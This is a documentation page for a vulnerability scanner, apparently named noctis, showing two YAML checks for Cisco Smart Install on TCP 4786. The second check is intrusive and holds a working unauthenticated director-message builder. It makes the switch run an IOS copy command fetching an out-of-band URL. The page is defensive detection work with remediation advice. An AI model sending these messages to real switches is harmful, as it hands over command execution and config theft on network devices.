Cisco Smart Install — 2 vulnerability checks
noctis ships 2 vulnerability checks for Cisco Smart Install, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Cisco Smart Install (SMI) enabled — unauthenticated exposure
| CVE | CVE-2018-0171 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | exposure — Exposure |
| Services | smart-install |
| Detection | tcp_dialogue, script, match · highest QoD 75 |
| Feed | tests/vulnerabilities/cisco-smart-install/CVE-2018-0171.yaml |
The device is running the Cisco Smart Install (SMI) protocol on TCP 4786 and answers the unauthenticated SMI identify frame. SMI enabled and unauthenticated is the precondition for the CVE-2018-0171 stack overflow (unpatched IOS/IOS-XE) and for unauthenticated config download/overwrite through SMI protocol misuse (cisco-sr-20170214-smi). This fingerprint does not distinguish patched from vulnerable firmware. Detection is inert: a single benign SMI identify/hello frame is sent and the structured SMI response is parsed — no configuration-download, tftp-ip-set or backup command is ever sent.
How noctis detects it
- TCP dialogue: one binary protocol frame
- Parses / computes the next value with a Rhai script
- Checks
sig.smi_enabledfor^true$→ finding QoD 75: Cisco Smart Install (SMI) enabled — unauthenticated exposure
References:
- https://nvd.nist.gov/vuln/detail/CVE-2018-0171
- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180328-smi2
- https://blog.talosintelligence.com/cisco-coverage-for-smart-install-client/
- https://tools.cisco.com/security/center/content/CiscoSecurityResponse/cisco-sr-20170214-smi
Feed source — tests/vulnerabilities/cisco-smart-install/CVE-2018-0171.yaml
# Cisco Smart Install (SMI) remote exposure fingerprint — CVE-2018-0171.
#
# SAFE / INERT detection. Smart Install runs an unauthenticated protocol on
# TCP 4786. An SMI-enabled device is exposed both to the CVE-2018-0171 stack
# overflow and to unauthenticated config download/overwrite through protocol
# misuse. This feed only *fingerprints* that the SMI protocol is enabled and
# answering unauthenticated — it sends ONE benign SMI identify/hello frame and
# never the config-copy / tftp-ip / backup command that performs the attack.
#
# WHY THIS STAYS A FINGERPRINT.
# CVE-2018-0171 itself is a stack buffer overflow in the Smart Install client's
# message parsing. Proving it for real means sending the overflowing message,
# which crashes and reloads the device (or, weaponised, executes code) — there
# is no benign trigger, so exploitation of THIS CVE is excluded on principle.
#
# Distinct issue, NOT covered here: Smart Install "protocol misuse"
# (Cisco advisory cisco-sr-20170214-smi). By design, an SMI-enabled client
# accepts unauthenticated director messages that make it run IOS commands such
# as `copy`. A benign callback (e.g. `copy http://<oob>/<token> null:`) would
# prove that misuse, not the overflow, and would also fire on patched firmware
# with SMI left enabled. It belongs in a separate, 0-CVE, intrusive feed.
#
# Limits of this fingerprint: it proves SMI is enabled and answering without
# authentication, which is the precondition for the overflow and is
# exploitable through the protocol misuse above. It cannot tell patched
# firmware from vulnerable firmware. Category stays `exposure` (not `rce`) and
# the feed carries no `intrusive` tag because it never mutates or crashes the
# target. Operators exclude it with `exclude_categories: [exposure]`.
#
# Probe (24 bytes, six 32-bit big-endian words) — the standard SMI identify
# frame (Metasploit auxiliary/scanner/misc/cisco_smart_install, SIET, Talos):
# 00000001 token / relay version
# 00000001 message type (request)
# 00000004
# 00000008
# 00000001
# 00000000
#
# Only an SMI-enabled device replies with the matching 24-byte identify
# response, whose first word is 0x00000004 (response mtype, != the probe's
# 0x00000001 — so a mock that merely echoes the probe does NOT match):
# word0 = 0x00000004 response message type
# word1 = 0x00000000
# word2 = 0x00000003
# word3 = 0x00000008
# word4 = 0x00000001
# word5 = 0x00000000
# hex offset into response_hex = byte * 2, so word N is substr(hex, N*8, N*8+7).
uid: 1ada8961-c1b5-498d-8a76-258e3cce0201
name: "Cisco Smart Install (SMI) enabled — unauthenticated exposure"
description: |
The device is running the Cisco Smart Install (SMI) protocol on TCP 4786 and
answers the unauthenticated SMI identify frame. SMI enabled and unauthenticated
is the precondition for the CVE-2018-0171 stack overflow (unpatched IOS/IOS-XE)
and for unauthenticated config download/overwrite through SMI protocol misuse
(cisco-sr-20170214-smi). This fingerprint does not distinguish patched from
vulnerable firmware. Detection is inert: a single benign
SMI identify/hello frame is sent and the structured SMI response is parsed —
no configuration-download, tftp-ip-set or backup command is ever sent.
cves: [CVE-2018-0171]
cvss: 9.8
severity: critical
confidence_base: 0.40
category: exposure
tags: [cisco, ios, ios-xe, smart-install, smi, exposure, kev, tcp-4786]
services: [smart-install]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2018-0171"
- "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180328-smi2"
- "https://blog.talosintelligence.com/cisco-coverage-for-smart-install-client/"
- "https://tools.cisco.com/security/center/content/CiscoSecurityResponse/cisco-sr-20170214-smi"
steps:
# ONE benign SMI identify/hello frame. No config-copy / tftp command is sent.
- id: smi-identify
action: tcp_dialogue
port: "{{port}}"
read_banner: false
timeout_secs: 10
send_hex: "000000010000000100000004000000080000000100000000"
store_as: smi
# Parse the SMI identify response. Returns a map stored as `sig`:
# smi_enabled bool — a genuine SMI identify response came back
# word0..word5 int — the six 32-bit big-endian response words (for evidence)
- id: parse-smi
action: script
condition: "smi.connected == true"
store_as: sig
code: |
let hex = if type_of(smi.response_hex) == "string" { tolower(smi.response_hex) } else { "" };
let w0 = if strlen(hex) >= 8 { u32be(substr(hex, 0, 7)) } else { -1 };
let w1 = if strlen(hex) >= 16 { u32be(substr(hex, 8, 15)) } else { -1 };
let w2 = if strlen(hex) >= 24 { u32be(substr(hex, 16, 23)) } else { -1 };
let w3 = if strlen(hex) >= 32 { u32be(substr(hex, 24, 31)) } else { -1 };
let w4 = if strlen(hex) >= 40 { u32be(substr(hex, 32, 39)) } else { -1 };
let w5 = if strlen(hex) >= 48 { u32be(substr(hex, 40, 47)) } else { -1 };
// The full SMI identify response signature — not an echo of our probe
// (whose first word is 0x00000001), not a constant / garbage reply.
let ok = strlen(hex) >= 48
&& w0 == 4
&& w1 == 0
&& w2 == 3
&& w3 == 8
&& w4 == 1
&& w5 == 0;
#{
smi_enabled: ok,
word0: w0, word1: w1, word2: w2,
word3: w3, word4: w4, word5: w5
}
- id: check-smi
action: match
source: sig.smi_enabled
pattern: "^true$"
condition: "sig.smi_enabled == true"
on_match:
finding:
title: "Cisco Smart Install (SMI) enabled — unauthenticated exposure"
description: "The device answered the unauthenticated Cisco Smart Install identify frame on TCP 4786 with a valid SMI identify response. SMI enabled and unauthenticated is the precondition for the CVE-2018-0171 stack overflow (unpatched IOS/IOS-XE) and for unauthenticated config download/overwrite through SMI protocol misuse (cisco-sr-20170214-smi). This check does not distinguish patched from vulnerable firmware."
remediation: "Disable Smart Install if unused ('no vstack' in global config), restrict TCP 4786 with an interface ACL / control-plane policing, and upgrade to a fixed IOS/IOS-XE release per Cisco advisory cisco-sa-20180328-smi2."
confidence_delta: 0.50
qod: 75
evidence: "SMI identify response on TCP {{port}}: words [{{sig.word0}}, {{sig.word1}}, {{sig.word2}}, {{sig.word3}}, {{sig.word4}}, {{sig.word5}}] (Smart Install enabled)"Cisco Smart Install protocol misuse — unauthenticated command execution
| Severity | critical |
|---|---|
| Category | rce — Remote code execution |
| Services | smart-install |
| Detection | tcp_dialogue, script, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/cisco-smart-install/smart-install-protocol-misuse.yaml |
The device runs the Cisco Smart Install (SMI) client on TCP 4786 and accepts unauthenticated director messages (Cisco security response cisco-sr-20170214-smi). With OOB enabled, the feed proves it by having the switch run one benign IOS command, `copy http://<oob>/<token> null:`, which fetches the noctis OOB URL and discards it. No configuration or flash content is changed and no reload is scheduled. Without OOB, it falls back to the inert SMI identify probe.
How noctis detects it
- TCP dialogue: one binary protocol frame
- Parses / computes the next value with a Rhai script
- Checks
sig.smi_enabledfor^true$→ finding QoD 75: Cisco Smart Install client enabled — unauthenticated director messages accepted - Parses / computes the next value with a Rhai script
- TCP dialogue: one binary protocol frame
- Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Cisco Smart Install protocol misuse — unauthenticated IOS command execution confirmed
References:
- https://tools.cisco.com/security/center/content/CiscoSecurityResponse/cisco-sr-20170214-smi
- https://github.com/Sab0tag3d/SIET
- https://blog.talosintelligence.com/cisco-coverage-for-smart-install-client/
Feed source — tests/vulnerabilities/cisco-smart-install/smart-install-protocol-misuse.yaml
# Cisco Smart Install (SMI) protocol misuse — unauthenticated command execution.
#
# Not a CVE: Cisco's security response cisco-sr-20170214-smi. By design, an
# SMI client on TCP 4786 accepts unauthenticated director messages, including
# the config-backup message that makes the switch run up to three IOS `copy`
# commands chosen by the sender (public tooling: SIET `--get_config`). The
# CVE-2018-0171 stack overflow is a separate issue, covered by
# CVE-2018-0171.yaml in this directory.
#
# Method 1 — real, benign exploitation (OOB, QoD 97). INTRUSIVE: the target
# runs one IOS command. The message carries a single command,
# copy http://<oob_host>:<oob_port>/<oob_token> null:
# The switch downloads the OOB URL and writes it to `null:` (discarded):
# running-config, startup-config and flash are untouched, and the config
# backup message schedules no reload. The two other command slots are empty.
# Confirmation is the per-run token reaching the noctis OOB server.
# Requires --oob with an OOB host the switch can reach over HTTP.
#
# Method 2 — inert fallback (QoD 75): the benign SMI identify frame, answered
# with the SMI client identify response. Same probe as CVE-2018-0171.yaml.
#
# Message layout (SIET get_config, big-endian): a 40-byte header
# 00000001 00000001 00000008 00000408 00010014
# 00000001 00000000 fc994737 86600000 000303f4
# followed by three command slots of 336 bytes each, ASCII, NUL-padded.
#
# Caveats: not tested on hardware. Older IOS builds may not accept an http://
# source or the null: destination; a switch that rejects them falls back to
# Method 2. Patched firmware with SMI enabled is still flagged — correct for
# this issue, which no firmware fixes; the remediation is `no vstack`.
uid: b40804f0-1019-46be-807c-379cad64e599
name: "Cisco Smart Install protocol misuse — unauthenticated command execution"
description: |
The device runs the Cisco Smart Install (SMI) client on TCP 4786 and accepts
unauthenticated director messages (Cisco security response cisco-sr-20170214-smi).
With OOB enabled, the feed proves it by having the switch run one benign IOS
command, `copy http://<oob>/<token> null:`, which fetches the noctis OOB URL and
discards it. No configuration or flash content is changed and no reload is
scheduled. Without OOB, it falls back to the inert SMI identify probe.
cves: []
severity: critical
confidence_base: 0.30
category: rce
tags: [cisco, ios, ios-xe, smart-install, smi, rce, intrusive, oob, tcp-4786]
services: [smart-install]
author: noctis
version: "1.0.0"
references:
- "https://tools.cisco.com/security/center/content/CiscoSecurityResponse/cisco-sr-20170214-smi"
- "https://github.com/Sab0tag3d/SIET"
- "https://blog.talosintelligence.com/cisco-coverage-for-smart-install-client/"
steps:
# ── Method 2: inert SMI identify probe (QoD 75) ──────────────────────────
- id: smi-identify
action: tcp_dialogue
port: "{{port}}"
read_banner: false
timeout_secs: 10
send_hex: "000000010000000100000004000000080000000100000000"
store_as: smi
- id: parse-smi
action: script
condition: "smi.connected == true"
store_as: sig
code: |
let hex = if type_of(smi.response_hex) == "string" { tolower(smi.response_hex) } else { "" };
let ok = strlen(hex) >= 48
&& u32be(substr(hex, 0, 7)) == 4
&& u32be(substr(hex, 8, 15)) == 0
&& u32be(substr(hex, 16, 23)) == 3
&& u32be(substr(hex, 24, 31)) == 8
&& u32be(substr(hex, 32, 39)) == 1
&& u32be(substr(hex, 40, 47)) == 0;
#{ smi_enabled: ok }
- id: check-smi
action: match
source: sig.smi_enabled
pattern: "^true$"
condition: "sig.smi_enabled == true"
on_match:
finding:
title: "Cisco Smart Install client enabled — unauthenticated director messages accepted"
description: "The device answered the unauthenticated Cisco Smart Install identify frame on TCP 4786 with the SMI client identify response. An SMI client accepts unauthenticated director messages that make it run IOS copy commands (cisco-sr-20170214-smi). Run with OOB enabled to confirm command execution."
remediation: "Disable Smart Install if unused ('no vstack' in global config) and restrict TCP 4786 with an interface ACL / control-plane policing."
confidence_delta: 0.45 # 0.30 + 0.45 = 0.75
qod: 75
evidence: "SMI client identify response on TCP {{port}} (Smart Install client enabled)"
# ── Method 1: one benign IOS copy command, confirmed out of band (QoD 97) ─
# Skipped when --oob is not configured.
- id: build-copy-message
action: script
condition: "oob_enabled"
store_as: smimsg
code: |
let header = "00000001000000010000000800000408000100140000000100000000fc99473786600000000303f4";
let cmd = "copy http://" + oob_host + ":" + oob_port.to_string() + "/" + oob_token + " null:";
let slot1 = hexstr(cmd) + crap(2 * (336 - strlen(cmd)), "0");
let empty = crap(2 * 336, "0");
#{ frame: header + slot1 + empty + empty, cmd: cmd }
- id: send-copy-message
action: tcp_dialogue
port: "{{port}}"
read_banner: false
timeout_secs: 5
send_hex: "{{smimsg.frame}}"
store_as: smisent
condition: "oob_enabled"
- id: wait-callback
action: wait_oob
oob_timeout_secs: 20
store_as: oob_result
condition: "oob_enabled"
on_success:
finding:
title: "Cisco Smart Install protocol misuse — unauthenticated IOS command execution confirmed"
description: "The device accepted an unauthenticated Smart Install director message and ran the IOS command it carried: it downloaded this scan's unique noctis OOB URL (copy to null:, nothing stored). Any unauthenticated network client can make this device run IOS copy commands, including downloading or replacing its configuration (cisco-sr-20170214-smi)."
remediation: "Disable Smart Install ('no vstack' in global config) and restrict TCP 4786 with an interface ACL / control-plane policing."
confidence_delta: 0.65 # 0.30 + 0.65 = 0.95
qod: 97
evidence: "OOB callback received after SMI copy command on TCP {{port}}: {{oob_result.body}}"